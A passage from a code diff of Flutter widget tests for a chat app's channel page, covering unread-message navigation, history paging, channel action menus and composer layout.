+        final subscribeA = relaySession.subscribe(
+          _filterForChannel(channelA.id),
+          (_) {},
+        );
+        relaySession.debugHandleMessage(['EOSE', 'l-1']);
+        await subscribeA;
+        final subscribeB = relaySession.subscribe(
+          _filterForChannel(channelB.id),
+          (_) {},
+        );
+        relaySession.debugHandleMessage(['EOSE', 'l-2']);
+        await subscribeB;
+
+        await tester.pumpWidget(
+          _buildNavigationTestable(
+            channelA: channelA,
+            channelB: channelB,
+            relaySession: relaySession,
+          ),
+        );
+        await tester.pumpAndSettle();
+
+        Navigator.of(
+          tester.element(find.byType(ChannelDetailPage)),
+        ).pushReplacement(
+          MaterialPageRoute<void>(
+            builder: (_) => ChannelDetailPage(channel: channelB),
+          ),
+        );
+        await tester.pumpAndSettle();
+
+        socket.messages.clear();
+        await relaySession.debugReplayLiveSubscriptions();
+
+        expect(_replayedChannelIds(socket), [channelB.id, channelA.id]);
+      },
+    );
+
     testWidgets('debounces same-slot reconnect skeletons before revealing', (
       tester,
     ) async {
@@ -583,6 +756,53 @@ void main() {
       );
     });
 
+    testWidgets('clears the composer inset when membership is revoked', (
+      tester,
+    ) async {
+      final channelsNotifier = _FakeChannelsNotifier([_testChannel]);
+      await tester.pumpWidget(
+        _buildTestable(
+          messages: [
+            _textMsg(
+              id: 'msg1',
+              pubkey: 'alice',
+              content: 'Hello',
+              createdAt: 1000,
+            ),
+          ],
+          channelsNotifier: channelsNotifier,
+        ),
+      );
+      await tester.pumpAndSettle();
+
+      final messageListFinder = find.byKey(
+        const ValueKey('channel-message-list'),
+      );
+      expect(
+        tester
+            .widget<ScrollablePositionedList>(messageListFinder)
+            .padding!
+            .bottom,
+        greaterThan(0),
+      );
+      expect(
+        find.byKey(const ValueKey('channel-composer-dock')),
+        findsOneWidget,
+      );
+
+      channelsNotifier.setChannels([_testChannel.copyWith(isMember: false)]);
+      await tester.pumpAndSettle();
+
+      expect(find.byKey(const ValueKey('channel-composer-dock')), findsNothing);
+      expect(
+        tester
+            .widget<ScrollablePositionedList>(messageListFinder)
+            .padding!
+            .bottom,
+        0,
+      );
+    });
+
     testWidgets('updates detail page state after joining a channel', (
       tester,
     ) async {
@@ -612,7 +832,14 @@ void main() {
       );
       expect(find.text('Message…'), findsNothing);
 
-      await tester.tap(find.byTooltip('Manage channel'));
+      await tester.tap(find.byTooltip('Channel actions'));
+      await tester.pumpAndSettle();
+      await tester.drag(
+        find.byType(SingleChildScrollView).last,
+        const Offset(0, -300),
+      );
+      await tester.pumpAndSettle();
+      await tester.tap(find.text('Manage channel').last);
       await tester.pumpAndSettle();
       await tester.tap(find.text('Join channel'));
       await tester.pumpAndSettle();
@@ -625,6 +852,27 @@ void main() {
       expect(find.text('Message #general'), findsOneWidget);
     });
 
+    testWidgets('detail-header manage leave closes the detail page', (
+      tester,
+    ) async {
+      await tester.pumpWidget(
+        _buildTestable(
+          messages: const [],
+          createChannelActions: (ref) => _FakeChannelActions(ref),
+        ),
+      );
+      await tester.pumpAndSettle();
+
+      await tester.tap(find.byTooltip('Channel actions'));
+      await tester.pumpAndSettle();
+      await tester.tap(find.text('Manage channel').last);
+      await tester.pumpAndSettle();
+      await tester.tap(find.text('Leave channel').last);
+      await tester.pumpAndSettle();
+
+      expect(find.byTooltip('Channel actions'), findsNothing);
+    });
+
     testWidgets('keeps manage sheet dismissible with a long canvas', (
       tester,
     ) async {
@@ -644,11 +892,18 @@ void main() {
       );
       await tester.pumpAndSettle();
 
-      await tester.tap(find.byTooltip('Manage channel'));
+      await tester.tap(find.byTooltip('Channel actions'));
+      await tester.pumpAndSettle();
+      await tester.drag(
+        find.byType(SingleChildScrollView).last,
+        const Offset(0, -300),
+      );
+      await tester.pumpAndSettle();
+      await tester.tap(find.text('Manage channel').last);
       await tester.pumpAndSettle();
 
-      final sheet = find.byType(BottomSheet);
-      expect(sheet, findsOneWidget);
+      final sheet = find.byType(BottomSheet).last;
+      expect(find.byType(BottomSheet), findsNWidgets(2));
       expect(tester.getSize(sheet).height, lessThanOrEqualTo(720));
 
       final sheetTop = tester.getTopLeft(sheet).dy;
@@ -658,7 +913,7 @@ void main() {
       );
       await tester.pumpAndSettle();
 
-      expect(sheet, findsNothing);
+      expect(find.text('Manage channel'), findsOneWidget);
     });
 
     testWidgets('shows empty state when no messages', (tester) async {
@@ -740,7 +995,15 @@ void main() {
       final messageList = tester.widget<ScrollablePositionedList>(
         find.byKey(const ValueKey('channel-message-list')),
       );
-      expect(messageList.padding!.bottom, 0);
+      final composerDock = find.byKey(const ValueKey('channel-composer-dock'));
+      final composerDockHeight = tester.getSize(composerDock).height;
+      expect(messageList.padding!.bottom, composerDockHeight);
+      expect(
+        tester
+            .getBottomLeft(find.byKey(const ValueKey('channel-message-list')))
+            .dy,
+        greaterThan(tester.getTopLeft(composerDock).dy),
+      );
       final newestMessageGroup = tester.widget<Padding>(
         find.byKey(const ValueKey('channel-message-group-msg2')),
       );
@@ -923,10 +1186,10 @@ void main() {
       expect(tester.takeException(), isNull);
     });
 
-    testWidgets('can jump back to latest after a non-drag user scroll', (
+    testWidgets('jumps to the oldest unread with compact inverse controls', (
       tester,
     ) async {
-      final initialMessages = [
+      final messages = [
         for (var i = 0; i < 40; i++)
           _textMsg(
             id: 'msg$i',
@@ -935,12 +1198,35 @@ void main() {
             createdAt: 1000 + i,
           ),
       ];
-      final messagesNotifier = _FakeMessagesNotifier(initialMessages);
+      final channelsNotifier = _FakeChannelsNotifier(
+        [_testChannel],
+        observedUnread: {
+          _channelId: [
+            makeObservedUnreadEvent(
+              id: 'msg21',
+              createdAt: 1021,
+              rootId: null,
+              highPriority: false,
+              channelType: 'stream',
+              isThreadedReply: false,
+            ),
+          ],
+        },
+      );
+      final readState = _SynchronousReadStateNotifier(
+        const ReadStateState(
+          isReady: true,
+          pubkey: 'self',
+          contexts: {_channelId: 1020},
+          version: 0,
+        ),
+      );
 
       await tester.pumpWidget(
         _buildTestable(
-          messages: const [],
-          messagesNotifier: messagesNotifier,
+          messages: messages,
+          channelsNotifier: channelsNotifier,
+          readStateNotifier: readState,
           users: const {
             'alice': UserProfile(pubkey: 'alice', displayName: 'Alice'),
           },
@@ -948,79 +1234,797 @@ void main() {
       );
       await tester.pumpAndSettle();
 
-      final messageList = find.byKey(const ValueKey('channel-message-list'));
-      final messageListElement = tester.element(messageList);
-      UserScrollNotification(
-        metrics: FixedScrollMetrics(
-          minScrollExtent: 0,
-          maxScrollExtent: 100,
-          pixels: 0,
-          viewportDimension: 100,
-          axisDirection: AxisDirection.down,
-          devicePixelRatio: 1,
-        ),
-        context: messageListElement,
-        direction: ScrollDirection.reverse,
-      ).dispatch(messageListElement);
-      final listView = tester.widget<ScrollablePositionedList>(messageList);
-      listView.itemScrollController!.jumpTo(index: 39);
+      final unreadButton = find.byKey(
+        const ValueKey('channel-jump-to-oldest-unread'),
+      );
+      expect(unreadButton, findsOneWidget);
+      expect(find.byTooltip('Jump to oldest unread message'), findsOneWidget);
+      expect(find.byIcon(LucideIcons.chevronUp), findsOneWidget);
+      expect(tester.getSize(unreadButton), const Size.square(48));
+      final unreadRect = tester.getRect(unreadButton);
+      expect(
+        unreadRect.top,
+        frostedAppBarHeight(tester.element(unreadButton)) + Grid.xs,
+      );
+      expect(find.text('Latest'), findsNothing);
+
+      await tester.tap(unreadButton);
       await tester.pumpAndSettle();
+
+      expect(findRichText('Message 21'), findsOneWidget);
+      expect(unreadButton, findsNothing);
       expect(
         find.byKey(const ValueKey('channel-jump-to-latest')),
         findsOneWidget,
       );
+      expect(find.text('Latest'), findsOneWidget);
+      expect(find.byIcon(LucideIcons.arrowDown), findsOneWidget);
+    });
 
-      messagesNotifier.setMessages([
-        ...initialMessages,
-        _textMsg(
-          id: 'newest',
-          pubkey: 'alice',
-          content: 'Newest live update',
-          createdAt: 2000,
+    testWidgets('loads history through the oldest unread boundary', (
+      tester,
+    ) async {
+      final newestPage = [
+        for (var i = 50; i < 100; i++)
+          _textMsg(
+            id: 'msg$i',
+            pubkey: 'alice',
+            content: 'Message $i',
+            createdAt: 1000 + i,
+          ),
+      ];
+      final olderPage = [
+        for (var i = 0; i < 50; i++)
+          _textMsg(
+            id: 'msg$i',
+            pubkey: 'alice',
+            content: 'Message $i',
+            createdAt: 1000 + i,
+          ),
+      ];
+      final messagesNotifier = _FakeMessagesNotifier(
+        newestPage,
+        olderPages: [olderPage],
+      );
+      final channelsNotifier = _FakeChannelsNotifier(
+        [_testChannel],
+        observedUnread: {
+          _channelId: [
+            makeObservedUnreadEvent(
+              id: 'msg21',
+              createdAt: 1021,
+              rootId: null,
+              highPriority: false,
+              channelType: 'stream',
+              isThreadedReply: false,
+            ),
+          ],
+        },
+      );
+      final readState = _SynchronousReadStateNotifier(
+        const ReadStateState(
+          isReady: true,
+          pubkey: 'self',
+          contexts: {_channelId: 1020},
+          version: 0,
         ),
-      ]);
-      await tester.pump();
+      );
 
-      expect(findRichText('Newest live update'), findsNothing);
-      await tester.tap(find.byKey(const ValueKey('channel-jump-to-latest')));
+      await tester.pumpWidget(
+        _buildTestable(
+          messages: const [],
+          messagesNotifier: messagesNotifier,
+          channelsNotifier: channelsNotifier,
+          readStateNotifier: readState,
+          users: const {
+            'alice': UserProfile(pubkey: 'alice', displayName: 'Alice'),
+          },
+        ),
+      );
       await tester.pumpAndSettle();
 
-      expect(findRichText('Newest live update'), findsOneWidget);
-    });
+      await tester.tap(
+        find.byKey(const ValueKey('channel-jump-to-oldest-unread')),
+      );
+      await tester.pumpAndSettle();
 
-    testWidgets(
-      'keeps follow mode off while a tall newest message stays visible',
-      (tester) async {
-        tester.view.physicalSize = const Size(400, 600);
-        tester.view.devicePixelRatio = 1;
-        addTearDown(tester.view.resetPhysicalSize);
-        addTearDown(tester.view.resetDevicePixelRatio);
+      expect(findRichText('Message 21'), findsOneWidget);
+      expect(findRichText('Message 50'), findsNothing);
+      expect(messagesNotifier.fetchOlderCalls, 1);
+    });
 
-        final tallMessage = List.generate(
-          12,
-          (index) => 'Newest message line $index',
-        ).join('\n');
-        final initialMessages = [
-          for (var i = 0; i < 12; i++)
-            _textMsg(
-              id: 'msg$i',
-              pubkey: i.isEven ? 'alice' : 'bob',
-              content: 'Message $i',
-              createdAt: 1000 + i * 1000,
-            ),
+    testWidgets('does not load history for threaded-only unread events', (
+      tester,
+    ) async {
+      final newestPage = [
+        for (var i = 50; i < 100; i++)
           _textMsg(
-            id: 'tall-newest',
+            id: 'msg$i',
             pubkey: 'alice',
-            content: tallMessage,
-            createdAt: 20_000,
+            content: 'Message $i',
+            createdAt: 1000 + i,
           ),
-        ];
-        final messagesNotifier = _FakeMessagesNotifier(initialMessages);
-
-        await tester.pumpWidget(
-          _buildTestable(
-            messages: const [],
-            messagesNotifier: messagesNotifier,
+      ];
+      final olderPage = [
+        for (var i = 0; i < 50; i++)
+          _textMsg(
+            id: 'msg$i',
+            pubkey: 'alice',
+            content: 'Message $i',
+            createdAt: 1000 + i,
+          ),
+      ];
+      final messagesNotifier = _FakeMessagesNotifier(
+        newestPage,
+        olderPages: [olderPage],
+      );
+      final channelsNotifier = _FakeChannelsNotifier(
+        [_testChannel],
+        observedUnread: {
+          _channelId: [
+            makeObservedUnreadEvent(
+              id: 'thread-reply',
+              createdAt: 1021,
+              rootId: 'thread-root',
+              highPriority: true,
+              channelType: 'stream',
+              isThreadedReply: true,
+            ),
+          ],
+        },
+      );
+      final readState = _SynchronousReadStateNotifier(
+        const ReadStateState(
+          isReady: true,
+          pubkey: 'self',
+          contexts: {_channelId: 1020},
+          version: 0,
+        ),
+      );
+
+      await tester.pumpWidget(
+        _buildTestable(
+          messages: const [],
+          messagesNotifier: messagesNotifier,
+          channelsNotifier: channelsNotifier,
+          readStateNotifier: readState,
+        ),
+      );
+      await tester.pumpAndSettle();
+
+      expect(messagesNotifier.fetchOlderCalls, 0);
+      expect(
+        find.byKey(const ValueKey('channel-jump-to-oldest-unread')),
+        findsNothing,
+      );
+    });
+
+    testWidgets('caps unread target history loading', (tester) async {
+      final newestPage = [
+        for (var i = 250; i < 300; i++)
+          _textMsg(
+            id: 'msg$i',
+            pubkey: 'alice',
+            content: 'Message $i',
+            createdAt: 1000 + i,
+          ),
+      ];
+      final olderPages = [
+        for (var page = 4; page >= 0; page--)
+          [
+            for (var i = page * 50; i < (page + 1) * 50; i++)
+              _textMsg(
+                id: 'msg$i',
+                pubkey: 'alice',
+                content: 'Message $i',
+                createdAt: 1000 + i,
+              ),
+          ],
+      ];
+      final messagesNotifier = _FakeMessagesNotifier(
+        newestPage,
+        olderPages: olderPages,
+      );
+      final channelsNotifier = _FakeChannelsNotifier(
+        [_testChannel],
+        observedUnread: {
+          _channelId: [
+            makeObservedUnreadEvent(
+              id: 'missing-target',
+              createdAt: 1001,
+              rootId: null,
+              highPriority: false,
+              channelType: 'stream',
+              isThreadedReply: false,
+            ),
+            makeObservedUnreadEvent(
+              id: 'msg275',
+              createdAt: 1275,
+              rootId: null,
+              highPriority: false,
+              channelType: 'stream',
+              isThreadedReply: false,
+            ),
+          ],
+        },
+      );
+      final readState = _SynchronousReadStateNotifier(
+        const ReadStateState(
+          isReady: true,
+          pubkey: 'self',
+          contexts: {},
+          version: 0,
+        ),
+      );
+
+      await tester.pumpWidget(
+        _buildTestable(
+          messages: const [],
+          messagesNotifier: messagesNotifier,
+          channelsNotifier: channelsNotifier,
+          readStateNotifier: readState,
+        ),
+      );
+      await tester.pumpAndSettle();
+
+      // History requests are deliberately scheduled after the current frame.
+      // Advance the test clock until the capped chain has settled.
+      for (
+        var frame = 0;
+        frame < 8 && messagesNotifier.fetchOlderCalls < 4;
+        frame++
+      ) {
+        await tester.pump(const Duration(milliseconds: 1));
+      }
+
+      expect(messagesNotifier.fetchOlderCalls, 4);
+      final unreadButton = find.byKey(
+        const ValueKey('channel-jump-to-oldest-unread'),
+      );
+      expect(unreadButton, findsOneWidget);
+      await tester.tap(unreadButton);
+      await tester.pumpAndSettle();
+      expect(findRichText('Message 275'), findsOneWidget);
+    });
+
+    testWidgets('stops loading the unread boundary after a failed page', (
+      tester,
+    ) async {
+      final messages = [
+        for (var i = 50; i < 100; i++)
+          _textMsg(
+            id: 'msg$i',
+            pubkey: 'alice',
+            content: 'Message $i',
+            createdAt: 1000 + i,
+          ),
+      ];
+      final messagesNotifier = _FakeMessagesNotifier(
+        messages,
+        failOlderFetch: true,
+      );
+      final readState = _SynchronousReadStateNotifier(
+        const ReadStateState(
+          isReady: true,
+          pubkey: 'self',
+          contexts: {_channelId: 1020},
+          version: 0,
+          forcedUnreadContexts: {_channelId: _channelId},
+        ),
+      );
+
+      await tester.pumpWidget(
+        _buildTestable(
+          messages: const [],
+          messagesNotifier: messagesNotifier,
+          readStateNotifier: readState,
+        ),
+      );
+      await tester.pumpAndSettle();
+
+      expect(
+        find.byKey(const ValueKey('channel-jump-to-oldest-unread')),
+        findsNothing,
+      );
+      expect(find.bySemanticsLabel('Loading older messages'), findsNothing);
+    });
+
+    testWidgets('falls back when the oldest unread row is deleted', (
+      tester,
+    ) async {
+      final messagesNotifier = _FakeMessagesNotifier([
+        _textMsg(
+          id: 'deleted-oldest',
+          pubkey: 'alice',
+          content: 'Deleted oldest',
+          createdAt: 1021,
+        ),
+        _textMsg(
+          id: 'reachable-unread',
+          pubkey: 'alice',
+          content: 'Reachable unread',
+          createdAt: 1022,
+        ),
+        _deletion(
+          id: 'delete-oldest',
+          targetIds: ['deleted-oldest'],
+          createdAt: 1023,
+        ),
+      ]);
+      final channelsNotifier = _FakeChannelsNotifier(
+        [_testChannel],
+        observedUnread: {
+          _channelId: [
+            makeObservedUnreadEvent(
+              id: 'deleted-oldest',
+              createdAt: 1021,
+              rootId: null,
+              highPriority: false,
+              channelType: 'stream',
+              isThreadedReply: false,
+            ),
+            makeObservedUnreadEvent(
+              id: 'reachable-unread',
+              createdAt: 1022,
+              rootId: null,
+              highPriority: false,
+              channelType: 'stream',
+              isThreadedReply: false,
+            ),
+          ],
+        },
+      );
+      final readState = _SynchronousReadStateNotifier(
+        const ReadStateState(
+          isReady: true,
+          pubkey: 'self',
+          contexts: {_channelId: 1020},
+          version: 0,
+        ),
+      );
+
+      await tester.pumpWidget(
+        _buildTestable(
+          messages: const [],
+          messagesNotifier: messagesNotifier,
+          channelsNotifier: channelsNotifier,
+          readStateNotifier: readState,
+          users: const {
+            'alice': UserProfile(pubkey: 'alice', displayName: 'Alice'),
+          },
+        ),
+      );
+      await tester.pumpAndSettle();
+
+      final unreadButton = find.byKey(
+        const ValueKey('channel-jump-to-oldest-unread'),
+      );
+      expect(unreadButton, findsOneWidget);
+      await tester.tap(unreadButton);
+      await tester.pumpAndSettle();
+      expect(findRichText('Reachable unread'), findsOneWidget);
+    });
+
+    testWidgets('pages past a loaded forced unread for an older target', (
+      tester,
+    ) async {
+      final newestPage = [
+        for (var i = 50; i < 100; i++)
+          _textMsg(
+            id: 'msg$i',
+            pubkey: 'alice',
+            content: 'Message $i',
+            createdAt: 1000 + i,
+          ),
+      ];
+      final olderPage = [
+        for (var i = 0; i < 50; i++)
+          _textMsg(
+            id: 'msg$i',
+            pubkey: 'alice',
+            content: 'Message $i',
+            createdAt: 1000 + i,
+          ),
+      ];
+      final messagesNotifier = _FakeMessagesNotifier(
+        newestPage,
+        olderPages: [olderPage],
+      );
+      final channelsNotifier = _FakeChannelsNotifier(
+        [_testChannel],
+        observedUnread: {
+          _channelId: [
+            makeObservedUnreadEvent(
+              id: 'msg21',
+              createdAt: 1021,
+              rootId: null,
+              highPriority: false,
+              channelType: 'stream',
+              isThreadedReply: false,
+            ),
+          ],
+        },
+      );
+      final readState = _SynchronousReadStateNotifier(
+        const ReadStateState(
+          isReady: true,
+          pubkey: 'self',
+          contexts: {_channelId: 1020},
+          version: 0,
+          forcedUnreadContexts: {'msg:msg75': _channelId},
+        ),
+      );
+
+      await tester.pumpWidget(
+        _buildTestable(
+          messages: const [],
+          messagesNotifier: messagesNotifier,
+          channelsNotifier: channelsNotifier,
+          readStateNotifier: readState,
+          users: const {
+            'alice': UserProfile(pubkey: 'alice', displayName: 'Alice'),
+          },
+        ),
+      );
+      await tester.pumpAndSettle();
+
+      expect(messagesNotifier.fetchOlderCalls, 1);
+      await tester.tap(
+        find.byKey(const ValueKey('channel-jump-to-oldest-unread')),
+      );
+      await tester.pumpAndSettle();
+      expect(findRichText('Message 21'), findsOneWidget);
+      expect(findRichText('Message 75'), findsNothing);
+    });
+
+    testWidgets('targets the oldest message-level forced unread', (
+      tester,
+    ) async {
+      final messages = [
+        for (var i = 0; i < 40; i++)
+          _textMsg(
+            id: 'msg$i',
+            pubkey: 'alice',
+            content: 'Message $i',
+            createdAt: 1000 + i,
+          ),
+      ];
+      final readState = _SynchronousReadStateNotifier(
+        const ReadStateState(
+          isReady: true,
+          pubkey: 'self',
+          contexts: {_channelId: 2000},
+          version: 0,
+          forcedUnreadContexts: {
+            'msg:msg20': _channelId,
+            'msg:msg5': _channelId,
+          },
+        ),
+      );
+
+      await tester.pumpWidget(
+        _buildTestable(
+          messages: messages,
+          readStateNotifier: readState,
+          users: const {
+            'alice': UserProfile(pubkey: 'alice', displayName: 'Alice'),
+          },
+        ),
+      );
+      await tester.pumpAndSettle();
+
+      await tester.tap(
+        find.byKey(const ValueKey('channel-jump-to-oldest-unread')),
+      );
+      await tester.pumpAndSettle();
+
+      expect(findRichText('Message 5'), findsOneWidget);
+      expect(findRichText('Message 20'), findsNothing);
+    });
+
+    testWidgets('ignores newer events absent from observed unread state', (
+      tester,
+    ) async {
+      final messages = [
+        _textMsg(
+          id: 'read-message',
+          pubkey: 'alice',
+          content: 'Already read',
+          createdAt: 1000,
+        ),
+        _textMsg(
+          id: 'self-message',
+          pubkey: 'self',
+          content: 'My own newer message',
+          createdAt: 1100,
+        ),
+        _systemMsg(
+          id: 'system-message',
+          payload: const {'type': 'channel_created'},
+          createdAt: 1200,
+        ),
+      ];
+      final readState = _SynchronousReadStateNotifier(
+        const ReadStateState(
+          isReady: true,
+          pubkey: 'self',
+          contexts: {_channelId: 1000},
+          version: 0,
+        ),
+      );
+
+      await tester.pumpWidget(
+        _buildTestable(
+          messages: messages,
+          readStateNotifier: readState,
+          users: const {
+            'alice': UserProfile(pubkey: 'alice', displayName: 'Alice'),
+          },
+        ),
+      );
+      await tester.pumpAndSettle();
+
+      expect(
+        find.byKey(const ValueKey('channel-jump-to-oldest-unread')),
+        findsNothing,
+      );
+    });
+
+    testWidgets(
+      'keeps the followed tail anchored through composer and keyboard resize',
+      (tester) async {
+        tester.view.physicalSize = const Size(400, 800);
+        tester.view.devicePixelRatio = 1;
+        addTearDown(tester.view.resetPhysicalSize);
+        addTearDown(tester.view.resetDevicePixelRatio);
+        addTearDown(tester.view.reset);
+
+        final messages = [
+          for (var i = 0; i < 20; i++)
+            _textMsg(
+              id: 'msg$i',
+              pubkey: i.isEven ? 'alice' : 'bob',
+              content: 'Message $i',
+              createdAt: 1000 + i * 1000,
+            ),
+        ];
+
+        await tester.pumpWidget(
+          _buildTestable(
+            messages: messages,
+            users: const {
+              'alice': UserProfile(pubkey: 'alice', displayName: 'Alice'),
+              'bob': UserProfile(pubkey: 'bob', displayName: 'Bob'),
+            },
+          ),
+        );
+        await tester.pumpAndSettle();
+
+        final latestMessage = find.byKey(
+          const ValueKey('channel-message-group-msg19'),
+        );
+        final composerDock = find.byKey(
+          const ValueKey('channel-composer-dock'),
+        );
+        final compactDockHeight = tester.getSize(composerDock).height;
+
+        expect(latestMessage, findsOneWidget);
+        expect(
+          tester.getBottomLeft(latestMessage).dy,
+          lessThanOrEqualTo(tester.getTopLeft(composerDock).dy + 1),
+        );
+
+        await tester.tap(find.text('Message #general'));
+        await tester.pumpAndSettle();
+
+        expect(
+          tester.getSize(composerDock).height,
+          greaterThan(compactDockHeight),
+        );
+        expect(
+          tester.getBottomLeft(latestMessage).dy,
+          lessThanOrEqualTo(tester.getTopLeft(composerDock).dy + 1),
+        );
+        expect(
+          find.byKey(const ValueKey('channel-jump-to-latest')),
+          findsNothing,
+        );
+
+        tester.view.viewInsets = const FakeViewPadding(bottom: 300);
+        await tester.pumpAndSettle();
+
+        expect(latestMessage, findsOneWidget);
+        expect(
+          tester.getBottomLeft(latestMessage).dy,
+          lessThanOrEqualTo(tester.getTopLeft(composerDock).dy + 1),
+        );
+        expect(
+          find.byKey(const ValueKey('channel-jump-to-latest')),
+          findsNothing,
+        );
+      },
+    );
+
+    testWidgets(
+      'does not realign a user-detached timeline on keyboard resize',
+      (tester) async {
+        tester.view.physicalSize = const Size(400, 600);
+        tester.view.devicePixelRatio = 1;
+        addTearDown(tester.view.resetPhysicalSize);
+        addTearDown(tester.view.resetDevicePixelRatio);
+        addTearDown(tester.view.reset);
+
+        final messages = [
+          for (var i = 0; i < 40; i++)
+            _textMsg(
+              id: 'msg$i',
+              pubkey: 'alice',
+              content: 'Message $i',
+              createdAt: 1000 + i,
+            ),
+        ];
+
+        await tester.pumpWidget(
+          _buildTestable(
+            messages: messages,
+            users: const {
+              'alice': UserProfile(pubkey: 'alice', displayName: 'Alice'),
+            },
+          ),
+        );
+        await tester.pumpAndSettle();
+
+        final messageList = find.byKey(const ValueKey('channel-message-list'));
+        await tester.drag(messageList, const Offset(0, 300));
+        await tester.pumpAndSettle();
+
+        expect(findRichText('Message 39'), findsNothing);
+        expect(
+          find.byKey(const ValueKey('channel-jump-to-latest')),
+          findsOneWidget,
+        );
+
+        tester.view.viewInsets = const FakeViewPadding(bottom: 300);
+        await tester.pumpAndSettle();
+
+        expect(findRichText('Message 39'), findsNothing);
+        expect(
+          find.byKey(const ValueKey('channel-jump-to-latest')),
+          findsOneWidget,
+        );
+        final positions = tester
+            .widget<ScrollablePositionedList>(messageList)
+            .itemPositionsNotifier!
+            .itemPositions
+            .value;
+        expect(
+          positions.any(
+            (position) =>
+                position.index == 0 && position.itemLeadingEdge.abs() < 0.01,
+          ),
+          isFalse,
+        );
+      },
+    );
+
+    testWidgets('can jump back to latest after a non-drag user scroll', (
+      tester,
+    ) async {
+      final initialMessages = [
+        for (var i = 0; i < 40; i++)
+          _textMsg(
+            id: 'msg$i',
+            pubkey: 'alice',
+            content: 'Message $i',
+            createdAt: 1000 + i,
+          ),
+      ];
+      final messagesNotifier = _FakeMessagesNotifier(initialMessages);
+
+      await tester.pumpWidget(
+        _buildTestable(
+          messages: const [],
+          messagesNotifier: messagesNotifier,
+          users: const {
+            'alice': UserProfile(pubkey: 'alice', displayName: 'Alice'),
+          },
+        ),
+      );
+      await tester.pumpAndSettle();
+
+      final messageList = find.byKey(const ValueKey('channel-message-list'));
+      final messageListElement = tester.element(messageList);
+      UserScrollNotification(
+        metrics: FixedScrollMetrics(
+          minScrollExtent: 0,
+          maxScrollExtent: 100,
+          pixels: 0,
+          viewportDimension: 100,
+          axisDirection: AxisDirection.down,
+          devicePixelRatio: 1,
+        ),
+        context: messageListElement,
+        direction: ScrollDirection.reverse,
+      ).dispatch(messageListElement);
+      final listView = tester.widget<ScrollablePositionedList>(messageList);
+      listView.itemScrollController!.jumpTo(index: 39);
+      await tester.pumpAndSettle();
+      expect(
+        find.byKey(const ValueKey('channel-jump-to-latest')),
+        findsOneWidget,
+      );
+      final latestSurface = tester.widget<Container>(
+        find.byKey(const ValueKey('channel-jump-to-latest-surface')),
+      );
+      final latestDecoration = latestSurface.decoration! as BoxDecoration;
+      expect(latestDecoration.borderRadius, BorderRadius.circular(Radii.full));
+      expect(
+        latestDecoration.color,
+        AppTheme.light().colorScheme.surface.withValues(alpha: 0.5),
+      );
+      expect(
+        (latestDecoration.border! as Border).top.color,
+        Colors.black.withValues(alpha: 0.04),
+      );
+      expect(
+        find.descendant(
+          of: find.byKey(const ValueKey('channel-jump-to-latest')),
+          matching: find.byType(BackdropFilter),
+        ),
+        findsOneWidget,
+      );
+
+      messagesNotifier.setMessages([
+        ...initialMessages,
+        _textMsg(
+          id: 'newest',
+          pubkey: 'alice',
+          content: 'Newest live update',
+          createdAt: 2000,
+        ),
+      ]);
+      await tester.pump();
+
+      expect(findRichText('Newest live update'), findsNothing);
+      await tester.tap(find.byKey(const ValueKey('channel-jump-to-latest')));
+      await tester.pumpAndSettle();
+
+      expect(findRichText('Newest live update'), findsOneWidget);
+    });
+
+    testWidgets(
+      'keeps follow mode off while a tall newest message stays visible',
+      (tester) async {
+        tester.view.physicalSize = const Size(400, 600);
+        tester.view.devicePixelRatio = 1;
+        addTearDown(tester.view.resetPhysicalSize);
+        addTearDown(tester.view.resetDevicePixelRatio);
+
+        final tallMessage = List.generate(
+          12,
+          (index) => 'Newest message line $index',
+        ).join('\n');
+        final initialMessages = [
+          for (var i = 0; i < 12; i++)
+            _textMsg(
+              id: 'msg$i',
+              pubkey: i.isEven ? 'alice' : 'bob',
+              content: 'Message $i',
+              createdAt: 1000 + i * 1000,
+            ),
+          _textMsg(
+            id: 'tall-newest',
+            pubkey: 'alice',
+            content: tallMessage,
+            createdAt: 20_000,
+          ),
+        ];
+        final messagesNotifier = _FakeMessagesNotifier(initialMessages);
+
+        await tester.pumpWidget(
+          _buildTestable(
+            messages: const [],
+            messagesNotifier: messagesNotifier,
             users: const {
               'alice': UserProfile(pubkey: 'alice', displayName: 'Alice'),
               'bob': UserProfile(pubkey: 'bob', displayName: 'Bob'),
@@ -1050,7 +2054,20 @@ void main() {
         ]);
         await tester.pumpAndSettle();
 
-        expect(findRichText('Newest live update'), findsNothing);
+        // Cache-extent mounting varies by platform, so assert the reversed
+        // list's semantic boundary rather than whether item 0 is mounted.
+        final positions = tester
+            .widget<ScrollablePositionedList>(messageList)
+            .itemPositionsNotifier!
+            .itemPositions
+            .value;
+        expect(
+          positions.any(
+            (position) =>
+                position.index == 0 && position.itemLeadingEdge.abs() < 0.01,
+          ),
+          isFalse,
+        );
         expect(
           find.byKey(const ValueKey('channel-jump-to-latest')),
           findsOneWidget,
@@ -1106,6 +2123,67 @@ void main() {
       expect(findRichText('Newest live update'), findsNothing);
     });
 
+    testWidgets(
+      'gives an initial deep link precedence over unread navigation',
+      (tester) async {
+        final initialMessages = [
+          for (var i = 0; i < 40; i++)
+            _textMsg(
+              id: 'msg$i',
+              pubkey: 'alice',
+              content: 'Message $i',
+              createdAt: 1000 + i,
+            ),
+        ];
+        final messagesNotifier = _FakeMessagesNotifier(initialMessages);
+        final channelsNotifier = _FakeChannelsNotifier(
+          [_testChannel],
+          observedUnread: {
+            _channelId: [
+              makeObservedUnreadEvent(
+                id: 'msg5',
+                createdAt: 1005,
+                rootId: null,
+                highPriority: false,
+                channelType: 'stream',
+                isThreadedReply: false,
+              ),
+            ],
+          },
+        );
+        final readState = _SynchronousReadStateNotifier(
+          const ReadStateState(
+            isReady: true,
+            pubkey: 'self',
+            contexts: {_channelId: 1004},
+            version: 0,
+          ),
+        );
+
+        await tester.pumpWidget(
+          _buildTestable(
+            messages: const [],
+            messagesNotifier: messagesNotifier,
+            channelsNotifier: channelsNotifier,
+            readStateNotifier: readState,
+            initialMessageId: 'msg20',
+            users: const {
+              'alice': UserProfile(pubkey: 'alice', displayName: 'Alice'),
+            },
+          ),
+        );
+        await tester.pumpAndSettle();
+
+        expect(findRichText('Message 20'), findsOneWidget);
+        expect(findRichText('Message 5'), findsNothing);
+        expect(
+          find.byKey(const ValueKey('channel-jump-to-oldest-unread')),
+          findsNothing,
+        );
+        expect(messagesNotifier.fetchOlderCalls, 0);
+      },
+    );
+
     testWidgets(
       'keeps a deep-linked message in view when its page arrives after a '
       'small scroll near the latest message',
@@ -1300,6 +2378,107 @@ void main() {
       );
     });
 
+    testWidgets('renders a huddle event like a regular message row', (
+      tester,
+    ) async {
+      await tester.pumpWidget(
+        _buildTestable(
